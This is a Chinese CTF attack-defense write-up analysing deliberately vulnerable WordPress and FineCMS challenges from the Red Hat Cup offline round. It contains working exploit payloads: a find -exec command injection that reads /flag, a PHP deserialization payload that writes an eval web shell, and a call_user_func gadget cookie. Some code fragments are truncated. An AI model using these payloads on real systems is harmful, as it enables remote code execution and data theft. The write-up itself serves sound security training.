awd赛题的flag是什么意思_红帽杯线下赛AWD题目分析

原创

dashintolight 于 2021-01-31 22:58:27 发布 350 收藏
文章标签： awd赛题的flag是什么意思

上周打了一场红帽杯的线下赛,可惜开具发挥失误服务器down了几轮一度垫底...最后才又勉强上了点儿分.....赛后对题目中的几处比较有意义的漏洞做了一下分析,写出了下面篇文章.

web1

web1是一个wordpress的应用程序,可惜当时比赛刚开始时服务器上的权限设置并不能直接修复程序,所以就先去搞了web2.后来传了一个马上去才修复了一些权限的问题,其他的漏洞基本上是通过抓包来搞出来的....这里贴一些赛后看各路大佬writeup等感觉不错的漏洞点:

命令执行1 escapeshellcmd绕过

在/wp-login.php中:

case 'debug':

$file = addslashes($_POST['file']);

system("find /tmp -iname ".escapeshellcmd($file));

break;

先看一下escapeshellcmd的说明:

可以看到escapeshellcmd的主要功能是对可以截断shell命令的字符进行转义.

然而这里的语句倍拼接到了find命令下,而find命令有一个参数是exec参数,可移执行命令,因此我们这里便可以利用find命令的exec参数来bypass.

find exec参数执行的示例:

然而这里报缺少参数,是因为-exec传入的指令需要有结束符,分号必不可少,且分号应该加上反斜杠防止歧义.

这里看到命令被循环执行了,于是我们加上-quit只打印一次:

因此利用这样的指令便可以读文件.poc为:

file=xxx -or -exec cat /flag ; quit

这里不加反斜杠是因为escapeshellcmd会给我们的参数自动加上反斜杠.

命令执行2

在wp-includes/class-wp-cachefile.php中:

```
class Template {
public $cacheFile = '/tmp/cachefile';
public $template = '
Welcome back %s';
public function __construct($data = null) {
$data = $this->loadData($data);
$this->render($data);
}
public function loadData($data) {
if (substr($data, 0, 2) !== 'O:'
&& !preg_match('/O:d:/', $data)) {
return unserialize($data);
}
return [];
}
public function createCache($file = null, $tpl = null) {
$file = $file ?? $this->cacheFile;
$tpl = $tpl ?? $this->template;
file_put_contents($file, $tpl);
}
public function render($data) {
echo sprintf(
$this->template,
htmlspecialchars($data['name'])
);
}
public function __destruct() {
$this->createCache();
}
}
```

new Template($_COOKIE['data']);

这里可以看到构造函数中调用了loadData来对传入的cookie值进行序列化,而loadData函数中对传入的参数进行了两个过滤:

substr($data,0,2)!==’O:’

可以通过序列化一个数组,数组中的元素为类来绕过.

!preg_match(‘/O:d:/‘, $data)

可以通过正号来绕过匹配.

在template类中的析构函数中调用了createCache方法,createCache方法中可以任意写入文件.

因此构造payload的poc为:

class Template {

public $cacheFile = './shell.php';

public $template = 'new Template());

print_r(serialize($t));

最后得到的符合条件的payload为:

a:1:{i:1;O:+8:"Template":2:{s:9:"cacheFile";s:11:"./shell.php";s:8:"template";s:28:"<?php eval($_REQUEST[test]);";}}

其他

求他的洞就大概都是一些主办方预留的shell之类的了…..

web2

web2是一个finecms,当时防护做得比较好所以没有出现太多的问题.

命令执行1 /finecms/dayrui/config/config.class.php

$_GET['param'];

}

class FinecmsConfig{

private $config;

private $path;

public $filter;

public function __construct($config=""){

$this->config = $config;

echo 123;

}

public function getConfig(){

```
if($this->config == ""){
$config = isset($_POST['Finecmsconfig'])?$_POST['Finecmsconfig']:"";
}
}
public function SetFilter($value){
if($this->filter){
foreach($this->filter as $filter){
$array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
}
$this->filter = array();
}else{
return false;
}
return true;
}
public function __get($key){
$this->SetFilter($key);
die("");
}
}
```

这里可以看到调用 $config->$_GET[param] ,如果 $config 是一个类且这个类不存在 $_GET[param] 这样一个属性就会调用__get()方法.

可以看到这里的FinecmsConfig类正好存在一个 __get() 方法.而在 __get() 方法中调用了SetFilter方法.

在SetFilter方法中调用了call_user_func方法,因此这里存在命令执行漏洞.

全局搜索引用了config.class.php文件的文件,可以找到在

./finecms/Init.php中存在引用,./finecms/Init.php中设置了 $config 变量:

```
if(isset($_COOKIE['FINECMS_CONFIG'])){
$config = $_COOKIE['FINECMS_CONFIG'];
require FCPATH.'dayrui/config/config.class.php';
}
```

可以看到这里$config的值被设置为 $_COOKIE['FINECMS_CONFIG'] ;

因此我们可以得出最后的payload:

```
class FinecmsConfig{
private $config;
private $path;
public $filter=array('readfile');
}
$c = new FinecmsConfig();
print_r(base64_encode(serialize($c)));
```

得到cookie FINECMS_CONFIG的值:

```
TzoxMzoiRmluZWNtc0NvbmZpZyI6Mzp7czoyMToiAEZpbmVjbXNDb25maWcAY29uZmlnIjtOO3M6MTk6IgBGa\
```

GET参数设置为/flag即可获取flag.

命令执行2

finecms的一个1day

sql注入

梅子酒师傅之前挖到的一个sql注入的CVE:

其他

其他就是类似web1一样的小马之类的了.....

后记

开始打awd之后这次比赛又回到了第一次打awd的感觉....只能说还是太菜了.....

以后还是要多联系一下代码审计,真的佩服大佬们代码审计的能力.

另外题目中的漏洞点将会单独抽出来作为代码审计题目放到 我校的CTF平台上 供师傅们分析练习.

参考